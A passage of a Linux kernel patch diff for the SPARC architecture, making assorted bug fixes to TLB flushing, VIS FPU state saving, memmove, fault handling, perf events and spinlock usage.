__flush_tlb_kernel_range(start,end); \ -} while (0) - static inline void global_flush_tlb_page(struct mm_struct *mm, unsigned long vaddr) { __flush_tlb_page(CTX_HWBITS(mm->context), vaddr); @@ -64,11 +61,6 @@ static inline void global_flush_tlb_page(struct mm_struct *mm, unsigned long vad extern void smp_flush_tlb_kernel_range(unsigned long start, unsigned long end); extern void smp_flush_tlb_page(struct mm_struct *mm, unsigned long vaddr); -#define flush_tlb_kernel_range(start, end) \ -do { flush_tsb_kernel_range(start,end); \ - smp_flush_tlb_kernel_range(start, end); \ -} while (0) - #define global_flush_tlb_page(mm, vaddr) \ smp_flush_tlb_page(mm, vaddr) diff --git a/arch/sparc/include/asm/vio.h b/arch/sparc/include/asm/vio.h index 432afa8388613..55841c184e6d5 100644 --- a/arch/sparc/include/asm/vio.h +++ b/arch/sparc/include/asm/vio.h @@ -118,12 +118,18 @@ struct vio_disk_attr_info { u8 vdisk_type; #define VD_DISK_TYPE_SLICE 0x01 /* Slice in block device */ #define VD_DISK_TYPE_DISK 0x02 /* Entire block device */ - u16 resv1; + u8 vdisk_mtype; /* v1.1 */ +#define VD_MEDIA_TYPE_FIXED 0x01 /* Fixed device */ +#define VD_MEDIA_TYPE_CD 0x02 /* CD Device */ +#define VD_MEDIA_TYPE_DVD 0x03 /* DVD Device */ + u8 resv1; u32 vdisk_block_size; u64 operations; - u64 vdisk_size; + u64 vdisk_size; /* v1.1 */ u64 max_xfer_size; - u64 resv2[2]; + u32 phys_block_size; /* v1.2 */ + u32 resv2; + u64 resv3[1]; }; struct vio_disk_desc { @@ -259,7 +265,7 @@ static inline u32 vio_dring_avail(struct vio_dring_state *dr, unsigned int ring_size) { return (dr->pending - - ((dr->prod - dr->cons) & (ring_size - 1))); + ((dr->prod - dr->cons) & (ring_size - 1)) - 1); } #define VIO_MAX_TYPE_LEN 32 diff --git a/arch/sparc/include/asm/visasm.h b/arch/sparc/include/asm/visasm.h index 39ca301920db7..50d6f16a15139 100644 --- a/arch/sparc/include/asm/visasm.h +++ b/arch/sparc/include/asm/visasm.h @@ -28,18 +28,20 @@ * Must preserve %o5 between VISEntryHalf and VISExitHalf */ #define VISEntryHalf \ + VISEntry + +#define VISExitHalf \ + VISExit + +#define VISEntryHalfFast(fail_label) \ rd %fprs, %o5; \ andcc %o5, FPRS_FEF, %g0; \ be,pt %icc, 297f; \ - sethi %hi(298f), %g7; \ - sethi %hi(VISenterhalf), %g1; \ - jmpl %g1 + %lo(VISenterhalf), %g0; \ - or %g7, %lo(298f), %g7; \ - clr %o5; \ -297: wr %o5, FPRS_FEF, %fprs; \ -298: + nop; \ + ba,a,pt %xcc, fail_label; \ +297: wr %o5, FPRS_FEF, %fprs; -#define VISExitHalf \ +#define VISExitHalfFast \ wr %o5, 0, %fprs; #ifndef __ASSEMBLY__ diff --git a/arch/sparc/include/uapi/asm/swab.h b/arch/sparc/include/uapi/asm/swab.h index a34ad079487e8..4c7c12d69bea6 100644 --- a/arch/sparc/include/uapi/asm/swab.h +++ b/arch/sparc/include/uapi/asm/swab.h @@ -9,9 +9,9 @@ static inline __u16 __arch_swab16p(const __u16 *addr) { __u16 ret; - __asm__ __volatile__ ("lduha [%1] %2, %0" + __asm__ __volatile__ ("lduha [%2] %3, %0" : "=r" (ret) - : "r" (addr), "i" (ASI_PL)); + : "m" (*addr), "r" (addr), "i" (ASI_PL)); return ret; } #define __arch_swab16p __arch_swab16p @@ -20,9 +20,9 @@ static inline __u32 __arch_swab32p(const __u32 *addr) { __u32 ret; - __asm__ __volatile__ ("lduwa [%1] %2, %0" + __asm__ __volatile__ ("lduwa [%2] %3, %0" : "=r" (ret) - : "r" (addr), "i" (ASI_PL)); + : "m" (*addr), "r" (addr), "i" (ASI_PL)); return ret; } #define __arch_swab32p __arch_swab32p @@ -31,9 +31,9 @@ static inline __u64 __arch_swab64p(const __u64 *addr) { __u64 ret; - __asm__ __volatile__ ("ldxa [%1] %2, %0" + __asm__ __volatile__ ("ldxa [%2] %3, %0" : "=r" (ret) - : "r" (addr), "i" (ASI_PL)); + : "m" (*addr), "r" (addr), "i" (ASI_PL)); return ret; } #define __arch_swab64p __arch_swab64p diff --git a/arch/sparc/kernel/ldc.c b/arch/sparc/kernel/ldc.c index 54df554b82d98..62983d77455e6 100644 --- a/arch/sparc/kernel/ldc.c +++ b/arch/sparc/kernel/ldc.c @@ -1336,7 +1336,7 @@ int ldc_connect(struct ldc_channel *lp) if (!(lp->flags & LDC_FLAG_ALLOCED_QUEUES) || !(lp->flags & LDC_FLAG_REGISTERED_QUEUES) || lp->hs_state != LDC_HS_OPEN) - err = -EINVAL; + err = ((lp->hs_state > LDC_HS_OPEN) ? 0 : -EINVAL); else err = start_handshake(lp); @@ -2306,7 +2306,7 @@ void *ldc_alloc_exp_dring(struct ldc_channel *lp, unsigned int len, if (len & (8UL - 1)) return ERR_PTR(-EINVAL); - buf = kzalloc(len, GFP_KERNEL); + buf = kzalloc(len, GFP_ATOMIC); if (!buf) return ERR_PTR(-ENOMEM); diff --git a/arch/sparc/kernel/pci_schizo.c b/arch/sparc/kernel/pci_schizo.c index 8f76f23dac38e..f9c6813c132d6 100644 --- a/arch/sparc/kernel/pci_schizo.c +++ b/arch/sparc/kernel/pci_schizo.c @@ -581,7 +581,7 @@ static irqreturn_t schizo_pcierr_intr_other(struct pci_pbm_info *pbm) { unsigned long csr_reg, csr, csr_error_bits; irqreturn_t ret = IRQ_NONE; - u16 stat; + u32 stat; csr_reg = pbm->pbm_regs + SCHIZO_PCI_CTRL; csr = upa_readq(csr_reg); @@ -617,7 +617,7 @@ static irqreturn_t schizo_pcierr_intr_other(struct pci_pbm_info *pbm) pbm->name); ret = IRQ_HANDLED; } - pci_read_config_word(pbm->pci_bus->self, PCI_STATUS, &stat); + pbm->pci_ops->read(pbm->pci_bus, 0, PCI_STATUS, 2, &stat); if (stat & (PCI_STATUS_PARITY | PCI_STATUS_SIG_TARGET_ABORT | PCI_STATUS_REC_TARGET_ABORT | @@ -625,7 +625,7 @@ static irqreturn_t schizo_pcierr_intr_other(struct pci_pbm_info *pbm) PCI_STATUS_SIG_SYSTEM_ERROR)) { printk("%s: PCI bus error, PCI_STATUS[%04x]\n", pbm->name, stat); - pci_write_config_word(pbm->pci_bus->self, PCI_STATUS, 0xffff); + pbm->pci_ops->write(pbm->pci_bus, 0, PCI_STATUS, 2, 0xffff); ret = IRQ_HANDLED; } return ret; diff --git a/arch/sparc/kernel/perf_event.c b/arch/sparc/kernel/perf_event.c index b5c38faa4eadf..d461b7ddf30e4 100644 --- a/arch/sparc/kernel/perf_event.c +++ b/arch/sparc/kernel/perf_event.c @@ -960,6 +960,8 @@ static void calculate_single_pcr(struct cpu_hw_events *cpuc) cpuc->pcr[0] |= cpuc->event[0]->hw.config_base; } +static void sparc_pmu_start(struct perf_event *event, int flags); + /* On this PMU each PIC has it's own PCR control register. */ static void calculate_multiple_pcrs(struct cpu_hw_events *cpuc) { @@ -972,20 +974,13 @@ static void calculate_multiple_pcrs(struct cpu_hw_events *cpuc) struct perf_event *cp = cpuc->event[i]; struct hw_perf_event *hwc = &cp->hw; int idx = hwc->idx; - u64 enc; if (cpuc->current_idx[i] != PIC_NO_INDEX) continue; - sparc_perf_event_set_period(cp, hwc, idx); cpuc->current_idx[i] = idx; - enc = perf_event_get_enc(cpuc->events[i]); - cpuc->pcr[idx] &= ~mask_for_index(idx); - if (hwc->state & PERF_HES_STOPPED) - cpuc->pcr[idx] |= nop_for_index(idx); - else - cpuc->pcr[idx] |= event_encoding(enc, idx); + sparc_pmu_start(cp, PERF_EF_RELOAD); } out: for (i = 0; i < cpuc->n_events; i++) { @@ -1101,7 +1096,6 @@ static void sparc_pmu_del(struct perf_event *event, int _flags) int i; local_irq_save(flags); - perf_pmu_disable(event->pmu); for (i = 0; i < cpuc->n_events; i++) { if (event == cpuc->event[i]) { @@ -1127,7 +1121,6 @@ static void sparc_pmu_del(struct perf_event *event, int _flags) } } - perf_pmu_enable(event->pmu); local_irq_restore(flags); } @@ -1361,7 +1354,6 @@ static int sparc_pmu_add(struct perf_event *event, int ef_flags) unsigned long flags; local_irq_save(flags); - perf_pmu_disable(event->pmu); n0 = cpuc->n_events; if (n0 >= sparc_pmu->max_hw_events) @@ -1394,7 +1386,6 @@ static int sparc_pmu_add(struct perf_event *event, int ef_flags) ret = 0; out: - perf_pmu_enable(event->pmu); local_irq_restore(flags); return ret; } diff --git a/arch/sparc/kernel/process_64.c b/arch/sparc/kernel/process_64.c index b9cc9763faf4a..036e43cef6fb0 100644 --- a/arch/sparc/kernel/process_64.c +++ b/arch/sparc/kernel/process_64.c @@ -280,6 +280,8 @@ void arch_trigger_all_cpu_backtrace(void) printk(" TPC[%lx] O7[%lx] I7[%lx] RPC[%lx]\n", gp->tpc, gp->o7, gp->i7, gp->rpc); } + + touch_nmi_watchdog(); } memset(global_cpu_snapshot, 0, sizeof(global_cpu_snapshot)); @@ -352,6 +354,8 @@ static void pmu_snapshot_all_cpus(void) (cpu == this_cpu ? '*' : ' '), cpu, pp->pcr[0], pp->pcr[1], pp->pcr[2], pp->pcr[3], pp->pic[0], pp->pic[1], pp->pic[2], pp->pic[3]); + + touch_nmi_watchdog(); } memset(global_cpu_snapshot, 0, sizeof(global_cpu_snapshot)); diff --git a/arch/sparc/kernel/smp_64.c b/arch/sparc/kernel/smp_64.c index 77539eda928c9..173964d5e948a 100644 --- a/arch/sparc/kernel/smp_64.c +++ b/arch/sparc/kernel/smp_64.c @@ -150,7 +150,7 @@ void cpu_panic(void) #define NUM_ROUNDS 64 /* magic value */ #define NUM_ITERS 5 /* likewise */ -static DEFINE_SPINLOCK(itc_sync_lock); +static DEFINE_RAW_SPINLOCK(itc_sync_lock); static unsigned long go[SLAVE + 1]; #define DEBUG_TICK_SYNC 0 @@ -258,7 +258,7 @@ static void smp_synchronize_one_tick(int cpu) go[MASTER] = 0; membar_safe("#StoreLoad"); - spin_lock_irqsave(&itc_sync_lock, flags); + raw_spin_lock_irqsave(&itc_sync_lock, flags); { for (i = 0; i < NUM_ROUNDS*NUM_ITERS; i++) { while (!go[MASTER]) @@ -269,7 +269,7 @@ static void smp_synchronize_one_tick(int cpu) membar_safe("#StoreLoad"); } } - spin_unlock_irqrestore(&itc_sync_lock, flags); + raw_spin_unlock_irqrestore(&itc_sync_lock, flags); } #if defined(CONFIG_SUN_LDOMS) && defined(CONFIG_HOTPLUG_CPU) @@ -821,13 +821,17 @@ void arch_send_call_function_single_ipi(int cpu) void __irq_entry smp_call_function_client(int irq, struct pt_regs *regs) { clear_softint(1 << irq); + irq_enter(); generic_smp_call_function_interrupt(); + irq_exit(); } void __irq_entry smp_call_function_single_client(int irq, struct pt_regs *regs) { clear_softint(1 << irq); + irq_enter(); generic_smp_call_function_single_interrupt(); + irq_exit(); } static void tsb_sync(void *info) diff --git a/arch/sparc/kernel/sys32.S b/arch/sparc/kernel/sys32.S index f7c72b6efc275..d066eb18650c1 100644 --- a/arch/sparc/kernel/sys32.S +++ b/arch/sparc/kernel/sys32.S @@ -44,7 +44,7 @@ SIGN1(sys32_timer_settime, compat_sys_timer_settime, %o1) SIGN1(sys32_io_submit, compat_sys_io_submit, %o1) SIGN1(sys32_mq_open, compat_sys_mq_open, %o1) SIGN1(sys32_select, compat_sys_select, %o0) -SIGN3(sys32_futex, compat_sys_futex, %o1, %o2, %o5) +SIGN1(sys32_futex, compat_sys_futex, %o1) SIGN1(sys32_recvfrom, compat_sys_recvfrom, %o0) SIGN1(sys32_recvmsg, compat_sys_recvmsg, %o0) SIGN1(sys32_sendmsg, compat_sys_sendmsg, %o0) diff --git a/arch/sparc/kernel/sys_sparc_64.c b/arch/sparc/kernel/sys_sparc_64.c index 56b4959069c76..21bca2152ea50 100644 --- a/arch/sparc/kernel/sys_sparc_64.c +++ b/arch/sparc/kernel/sys_sparc_64.c @@ -334,7 +334,7 @@ SYSCALL_DEFINE6(sparc_ipc, unsigned int, call, int, first, unsigned long, second long err; /* No need for backward compatibility. We can start fresh... */ - if (call <= SEMCTL) { + if (call <= SEMTIMEDOP) { switch (call) { case SEMOP: err = sys_semtimedop(first, ptr, @@ -414,7 +414,7 @@ SYSCALL_DEFINE6(sparc_ipc, unsigned int, call, int, first, unsigned long, second SYSCALL_DEFINE1(sparc64_personality, unsigned long, personality) { - int ret; + long ret; if (personality(current->personality) == PER_LINUX32 && personality(personality) == PER_LINUX) diff --git a/arch/sparc/kernel/unaligned_64.c b/arch/sparc/kernel/unaligned_64.c index 8201c25e76697..4db8898199f72 100644 --- a/arch/sparc/kernel/unaligned_64.c +++ b/arch/sparc/kernel/unaligned_64.c @@ -163,17 +163,23 @@ static unsigned long *fetch_reg_addr(unsigned int reg, struct pt_regs *regs) unsigned long compute_effective_address(struct pt_regs *regs, unsigned int insn, unsigned int rd) { + int from_kernel = (regs->tstate & TSTATE_PRIV) != 0; unsigned int rs1 = (insn >> 14) & 0x1f; unsigned int rs2 = insn & 0x1f; - int from_kernel = (regs->tstate & TSTATE_PRIV) != 0; + unsigned long addr; if (insn & 0x2000) { maybe_flush_windows(rs1, 0, rd, from_kernel); - return (fetch_reg(rs1, regs) + sign_extend_imm13(insn)); + addr = (fetch_reg(rs1, regs) + sign_extend_imm13(insn)); } else { maybe_flush_windows(rs1, rs2, rd, from_kernel); - return (fetch_reg(rs1, regs) + fetch_reg(rs2, regs)); + addr = (fetch_reg(rs1, regs) + fetch_reg(rs2, regs)); } + + if (!from_kernel && test_thread_flag(TIF_32BIT)) + addr &= 0xffffffff; + + return addr; } /* This is just to make gcc think die_if_kernel does return... */ diff --git a/arch/sparc/lib/NG2memcpy.S b/arch/sparc/lib/NG2memcpy.S index 2c20ad63ddbf2..30eee6e8a81b2 100644 --- a/arch/sparc/lib/NG2memcpy.S +++ b/arch/sparc/lib/NG2memcpy.S @@ -236,6 +236,7 @@ FUNC_NAME: /* %o0=dst, %o1=src, %o2=len */ */ VISEntryHalf + membar #Sync alignaddr %o1, %g0, %g0 add %o1, (64 - 1), %o4 diff --git a/arch/sparc/lib/NG4memcpy.S b/arch/sparc/lib/NG4memcpy.S index 9cf2ee01cee37..83aeeb1dffdb3 100644 --- a/arch/sparc/lib/NG4memcpy.S +++ b/arch/sparc/lib/NG4memcpy.S @@ -41,6 +41,10 @@ #endif #endif +#if !defined(EX_LD) && !defined(EX_ST) +#define NON_USER_COPY +#endif + #ifndef EX_LD #define EX_LD(x) x #endif @@ -197,9 +201,13 @@ FUNC_NAME: /* %o0=dst, %o1=src, %o2=len */ mov EX_RETVAL(%o3), %o0 .Llarge_src_unaligned: +#ifdef NON_USER_COPY + VISEntryHalfFast(.Lmedium_vis_entry_fail) +#else + VISEntryHalf +#endif andn %o2, 0x3f, %o4 sub %o2, %o4, %o2 - VISEntryHalf alignaddr %o1, %g0, %g1 add %o1, %o4, %o1 EX_LD(LOAD(ldd, %g1 + 0x00, %f0)) @@ -232,14 +240,21 @@ FUNC_NAME: /* %o0=dst, %o1=src, %o2=len */ add %o0, 0x40, %o0 bne,pt %icc, 1b LOAD(prefetch, %g1 + 0x200, #n_reads_strong) +#ifdef NON_USER_COPY + VISExitHalfFast +#else VISExitHalf - +#endif brz,pn %o2, .Lexit cmp %o2, 19 ble,pn %icc, .Lsmall_unaligned nop ba,a,pt %icc, .Lmedium_unaligned +#ifdef NON_USER_COPY +.Lmedium_vis_entry_fail: + or %o0, %o1, %g2 +#endif .Lmedium: LOAD(prefetch, %o1 + 0x40, #n_reads_strong) andcc %g2, 0x7, %g0 diff --git a/arch/sparc/lib/VISsave.S b/arch/sparc/lib/VISsave.S index b320ae9e2e2e8..a063d84336d63 100644 --- a/arch/sparc/lib/VISsave.S +++ b/arch/sparc/lib/VISsave.S @@ -44,9 +44,8 @@ vis1: ldub [%g6 + TI_FPSAVED], %g3 stx %g3, [%g6 + TI_GSR] 2: add %g6, %g1, %g3 - cmp %o5, FPRS_DU - be,pn %icc, 6f - sll %g1, 3, %g1 + mov FPRS_DU | FPRS_DL | FPRS_FEF, %o5 + sll %g1, 3, %g1 stb %o5, [%g3 + TI_FPSAVED] rd %gsr, %g2 add %g6, %g1, %g3 @@ -80,65 +79,3 @@ vis1: ldub [%g6 + TI_FPSAVED], %g3 .align 32 80: jmpl %g7 + %g0, %g0 nop - -6: ldub [%g3 + TI_FPSAVED], %o5 - or %o5, FPRS_DU, %o5 - add %g6, TI_FPREGS+0x80, %g2 - stb %o5, [%g3 + TI_FPSAVED] - - sll %g1, 5, %g1 - add %g6, TI_FPREGS+0xc0, %g3 - wr %g0, FPRS_FEF, %fprs - membar #Sync - stda %f32, [%g2 + %g1] ASI_BLK_P - stda %f48, [%g3 + %g1] ASI_BLK_P - membar #Sync - ba,pt %xcc, 80f - nop - - .align 32 -80: jmpl %g7 + %g0, %g0 - nop - - .align 32 -VISenterhalf: - ldub [%g6 + TI_FPDEPTH], %g1 - brnz,a,pn %g1, 1f - cmp %g1, 1 - stb %g0, [%g6 + TI_FPSAVED] - stx %fsr, [%g6 + TI_XFSR] - clr %o5 - jmpl %g7 + %g0, %g0 - wr %g0, FPRS_FEF, %fprs - -1: bne,pn %icc, 2f - srl %g1, 1, %g1 - ba,pt %xcc, vis1 - sub %g7, 8, %g7 -2: addcc %g6, %g1, %g3 - sll %g1, 3, %g1 - andn %o5, FPRS_DU, %g2 - stb %g2, [%g3 + TI_FPSAVED] - - rd %gsr, %g2 - add %g6, %g1, %g3 - stx %g2, [%g3 + TI_GSR] - add %g6, %g1, %g2 - stx %fsr, [%g2 + TI_XFSR] - sll %g1, 5, %g1 -3: andcc %o5, FPRS_DL, %g0 - be,pn %icc, 4f - add %g6, TI_FPREGS, %g2 - - add %g6, TI_FPREGS+0x40, %g3 - membar #Sync - stda %f0, [%g2 + %g1] ASI_BLK_P - stda %f16, [%g3 + %g1] ASI_BLK_P - membar #Sync - ba,pt %xcc, 4f - nop - - .align 32 -4: and %o5, FPRS_DU, %o5 - jmpl %g7 + %g0, %g0 - wr %o5, FPRS_FEF, %fprs diff --git a/arch/sparc/lib/atomic32.c b/arch/sparc/lib/atomic32.c index 1d32b54089aad..8f2f94d53434a 100644 --- a/arch/sparc/lib/atomic32.c +++ b/arch/sparc/lib/atomic32.c @@ -40,6 +40,19 @@ int __atomic_add_return(int i, atomic_t *v) } EXPORT_SYMBOL(__atomic_add_return); +int atomic_xchg(atomic_t *v, int new) +{ + int ret; + unsigned long flags; + + spin_lock_irqsave(ATOMIC_HASH(v), flags); + ret = v->counter; + v->counter = new; + spin_unlock_irqrestore(ATOMIC_HASH(v), flags); + return ret; +} +EXPORT_SYMBOL(atomic_xchg); + int atomic_cmpxchg(atomic_t *v, int old, int new) { int ret; @@ -132,3 +145,17 @@ unsigned long __cmpxchg_u32(volatile u32 *ptr, u32 old, u32 new) return (unsigned long)prev; } EXPORT_SYMBOL(__cmpxchg_u32); + +unsigned long __xchg_u32(volatile u32 *ptr, u32 new) +{ + unsigned long flags; + u32 prev; + + spin_lock_irqsave(ATOMIC_HASH(ptr), flags); + prev = *ptr; + *ptr = new; + spin_unlock_irqrestore(ATOMIC_HASH(ptr), flags); + + return (unsigned long)prev; +} +EXPORT_SYMBOL(__xchg_u32); diff --git a/arch/sparc/lib/ksyms.c b/arch/sparc/lib/ksyms.c index 323335b9cd2b5..ac094de28ccfd 100644 --- a/arch/sparc/lib/ksyms.c +++ b/arch/sparc/lib/ksyms.c @@ -126,10 +126,6 @@ EXPORT_SYMBOL(copy_user_page); void VISenter(void); EXPORT_SYMBOL(VISenter); -/* CRYPTO code needs this */ -void VISenterhalf(void); -EXPORT_SYMBOL(VISenterhalf); - extern void xor_vis_2(unsigned long, unsigned long *, unsigned long *); extern void xor_vis_3(unsigned long, unsigned long *, unsigned long *, unsigned long *); diff --git a/arch/sparc/lib/memmove.S b/arch/sparc/lib/memmove.S index b7f6334e159f9..857ad4f8905f9 100644 --- a/arch/sparc/lib/memmove.S +++ b/arch/sparc/lib/memmove.S @@ -8,9 +8,11 @@ .text ENTRY(memmove) /* o0=dst o1=src o2=len */ - mov %o0, %g1 + brz,pn %o2, 99f + mov %o0, %g1 + cmp %o0, %o1 - bleu,pt %xcc, memcpy + bleu,pt %xcc, 2f add %o1, %o2, %g7 cmp %g7, %o0 bleu,pt %xcc, memcpy @@ -24,7 +26,34 @@ ENTRY(memmove) /* o0=dst o1=src o2=len */ stb %g7, [%o0] bne,pt %icc, 1b sub %o0, 1, %o0 - +99: retl mov %g1, %o0 + + /* We can't just call memcpy for these memmove cases. On some + * chips the memcpy uses cache initializing stores and when dst + * and src are close enough, those can clobber the source data + * before we've loaded it in. + */ +2: or %o0, %o1, %g7 + or %o2, %g7, %g7 + andcc %g7, 0x7, %g0 + bne,pn %xcc, 4f + nop + +3: ldx [%o1], %g7 + add %o1, 8, %o1 + subcc %o2, 8, %o2 + add %o0, 8, %o0 + bne,pt %icc, 3b + stx %g7, [%o0 - 0x8] + ba,a,pt %xcc, 99b + +4: ldub [%o1], %g7 + add %o1, 1, %o1 + subcc %o2, 1, %o2 + add %o0, 1, %o0 + bne,pt %icc, 4b + stb %g7, [%o0 - 0x1] + ba,a,pt %xcc, 99b ENDPROC(memmove) diff --git a/arch/sparc/math-emu/math_32.c b/arch/sparc/math-emu/math_32.c index aa4d55b0bdf03..5ce8f2f64604a 100644 --- a/arch/sparc/math-emu/math_32.c +++ b/arch/sparc/math-emu/math_32.c @@ -499,7 +499,7 @@ static int do_one_mathemu(u32 insn, unsigned long *pfsr, unsigned long *fregs) case 0: fsr = *pfsr; if (IR == -1) IR = 2; /* fcc is always fcc0 */ - fsr &= ~0xc00; fsr |= (IR << 10); break; + fsr &= ~0xc00; fsr |= (IR << 10); *pfsr = fsr; break; case 1: rd->s = IR; break; diff --git a/arch/sparc/mm/fault_32.c b/arch/sparc/mm/fault_32.c index 59dbd46457250..163c787121109 100644 --- a/arch/sparc/mm/fault_32.c +++ b/arch/sparc/mm/fault_32.c @@ -252,6 +252,8 @@ asmlinkage void do_sparc_fault(struct pt_regs *regs, int text_fault, int write, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); diff --git a/arch/sparc/mm/fault_64.c b/arch/sparc/mm/fault_64.c index 2ebec263d6859..ac2db923e51a2 100644 --- a/arch/sparc/mm/fault_64.c +++ b/arch/sparc/mm/fault_64.c @@ -95,38 +95,51 @@ static unsigned int get_user_insn(unsigned long tpc) pte_t *ptep, pte; unsigned long pa; u32 insn = 0; - unsigned long pstate; - if (pgd_none(*pgdp)) - goto outret; + if (pgd_none(*pgdp) || unlikely(pgd_bad(*pgdp))) + goto out; pudp = pud_offset(pgdp, tpc); - if (pud_none(*pudp)) - goto outret; - pmdp = pmd_offset(pudp, tpc); - if (pmd_none(*pmdp)) - goto outret; + if (pud_none(*pudp) || unlikely(pud_bad(*pudp))) + goto out; /* This disables preemption for us as well. */ - __asm__ __volatile__("rdpr %%pstate, %0" : "=r" (pstate)); - __asm__ __volatile__("wrpr %0, %1, %%pstate" - : : "r" (pstate), "i" (PSTATE_IE)); - ptep = pte_offset_map(pmdp, tpc); - pte = *ptep; - if (!pte_present(pte)) - goto out; + local_irq_disable(); + + pmdp = pmd_offset(pudp, tpc); + if (pmd_none(*pmdp) || unlikely(pmd_bad(*pmdp))) + goto out_irq_enable; - pa = (pte_pfn(pte) << PAGE_SHIFT); - pa += (tpc & ~PAGE_MASK); +#ifdef CONFIG_TRANSPARENT_HUGEPAGE + if (pmd_trans_huge(*pmdp)) { + if (pmd_trans_splitting(*pmdp)) + goto out_irq_enable; - /* Use phys bypass so we don't pollute dtlb/dcache. */ - __asm__ __volatile__("lduwa [%1] %2, %0" - : "=r" (insn) - : "r" (pa), "i" (ASI_PHYS_USE_EC)); + pa = pmd_pfn(*pmdp) << PAGE_SHIFT; + pa += tpc & ~HPAGE_MASK; + /* Use phys bypass so we don't pollute dtlb/dcache. */ + __asm__ __volatile__("lduwa [%1] %2, %0" + : "=r" (insn) + : "r" (pa), "i" (ASI_PHYS_USE_EC)); + } else +#endif + { + ptep = pte_offset_map(pmdp, tpc); + pte = *ptep; + if (pte_present(pte)) { + pa = (pte_pfn(pte) << PAGE_SHIFT); + pa += (tpc & ~PAGE_MASK); + + /* Use phys bypass so we don't pollute dtlb/dcache. */ + __asm__ __volatile__("lduwa [%1] %2, %0" + : "=r" (insn) + : "r" (pa), "i" (ASI_PHYS_USE_EC)); + } + pte_unmap(ptep); + } +out_irq_enable: + local_irq_enable(); out: - pte_unmap(ptep); - __asm__ __volatile__("wrpr %0, 0x0, %%pstate" : : "r" (pstate)); -outret: return insn; } @@ -152,7 +165,8 @@ show_signal_msg(struct pt_regs *regs, int sig, int code, } static void do_fault_siginfo(int code, int sig, struct pt_regs *regs, - unsigned int insn, int fault_code) + unsigned long fault_addr, unsigned int insn, + int fault_code) { unsigned long addr; siginfo_t info; @@ -160,10 +174,18 @@ static void do_fault_siginfo(int code, int sig, struct pt_regs *regs, info.si_code = code; info.si_signo = sig; info.si_errno = 0; - if (fault_code & FAULT_CODE_ITLB) + if (fault_code & FAULT_CODE_ITLB) { addr = regs->tpc; - else - addr = compute_effective_address(regs, insn, 0); + } else { + /* If we were able to probe the faulting instruction, use it + * to compute a precise fault address. Otherwise use the fault + * time provided address which may only have page granularity. + */ + if (insn) + addr = compute_effective_address(regs, insn, 0); + else + addr = fault_addr; + } info.si_addr = (void __user *) addr; info.si_trapno = 0; @@ -238,7 +260,7 @@ static void __kprobes do_kernel_fault(struct pt_regs *regs, int si_code, /* The si_code was set to make clear whether * this was a SEGV_MAPERR or SEGV_ACCERR fault. */ - do_fault_siginfo(si_code, SIGSEGV, regs, insn, fault_code); + do_fault_siginfo(si_code, SIGSEGV, regs, address, insn, fault_code); return; } @@ -258,18 +280,6 @@ static void noinline __kprobes bogus_32bit_fault_tpc(struct pt_regs *regs) show_regs(regs); } -static void noinline __kprobes bogus_32bit_fault_address(struct pt_regs *regs, - unsigned long addr) -{ - static int times; - - if (times++ < 10) - printk(KERN_ERR "FAULT[%s:%d]: 32-bit process " - "reports 64-bit fault address [%lx]\n", - current->comm, current->pid, addr); - show_regs(regs); -} - asmlinkage void __kprobes do_sparc64_fault(struct pt_regs *regs) { struct mm_struct *mm = current->mm; @@ -298,10 +308,8 @@ asmlinkage void __kprobes do_sparc64_fault(struct pt_regs *regs) goto intr_or_no_mm; } } - if (unlikely((address >> 32) != 0)) { - bogus_32bit_fault_address(regs, address); + if (unlikely((address >> 32) != 0)) goto intr_or_no_mm; - } } if (regs->tstate & TSTATE_PRIV) { @@ -435,6 +443,8 @@ asmlinkage void __kprobes do_sparc64_fault(struct pt_regs *regs) if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); @@ -521,7 +531,7 @@ asmlinkage void __kprobes do_sparc64_fault(struct pt_regs *regs) * Send a sigbus, regardless of whether we were in kernel * or user mode. */ - do_fault_siginfo(BUS_ADRERR, SIGBUS, regs, insn, fault_code); + do_fault_siginfo(BUS_ADRERR, SIGBUS, regs, address, insn, fault_code); /* Kernel mode? Handle exceptions or die */ if (regs->tstate & TSTATE_PRIV) diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c index 6084e680bbd30..272ebe7d380d4 100644 --- a/arch/sparc/mm/init_64.c +++ b/arch/sparc/mm/init_64.c @@ -350,6 +350,10 @@ void update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t * mm = vma->vm_mm; + /* Don't insert a non-valid PTE into the TSB, we'll deadlock. */ + if (!pte_accessible(mm, pte)) + return; + spin_lock_irqsave(&mm->context.lock, flags); #if defined(CONFIG_HUGETLB_PAGE) || defined(CONFIG_TRANSPARENT_HUGEPAGE) @@ -2764,3 +2768,26 @@ void hugetlb_setup(struct pt_regs *regs) } } #endif + +#ifdef CONFIG_SMP +#define do_flush_tlb_kernel_range smp_flush_tlb_kernel_range +#else +#define do_flush_tlb_kernel_range __flush_tlb_kernel_range +#endif + +void flush_tlb_kernel_range(unsigned long start, unsigned long end) +{ + if (start < HI_OBP_ADDRESS && end > LOW_OBP_ADDRESS) { + if (start < LOW_OBP_ADDRESS) { + flush_tsb_kernel_range(start, LOW_OBP_ADDRESS); + do_flush_tlb_kernel_range(start, LOW_OBP_ADDRESS); + } + if (end > HI_OBP_ADDRESS) { + flush_tsb_kernel_range(end, HI_OBP_ADDRESS); + do_flush_tlb_kernel_range(end, HI_OBP_ADDRESS); + } + } else { + flush_tsb_kernel_range(start, end); + do_flush_tlb_kernel_range(start, end); + } +} diff --git a/arch/sparc/mm/srmmu.c b/arch/sparc/mm/srmmu.c index 036c2797dece1..f58cb540ff948 100644 --- a/arch/sparc/mm/srmmu.c +++ b/arch/sparc/mm/srmmu.c @@ -455,10 +455,12 @@ static void __init sparc_context_init(int numctx) void switch_mm(struct mm_struct *old_mm, struct mm_struct *mm, struct task_struct *tsk) { + unsigned long flags; + if (mm->context == NO_CONTEXT) { - spin_lock(&srmmu_context_spinlock); + spin_lock_irqsave(&srmmu_context_spinlock, flags); alloc_context(old_mm, mm); - spin_unlock(&srmmu_context_spinlock); + spin_unlock_irqrestore(&srmmu_context_spinlock, flags); srmmu_ctxd_set(&srmmu_context_table[mm->context], mm->pgd); } @@ -983,14 +985,15 @@ int init_new_context(struct task_struct *tsk, struct mm_struct *mm) void destroy_context(struct mm_struct *mm) { + unsigned 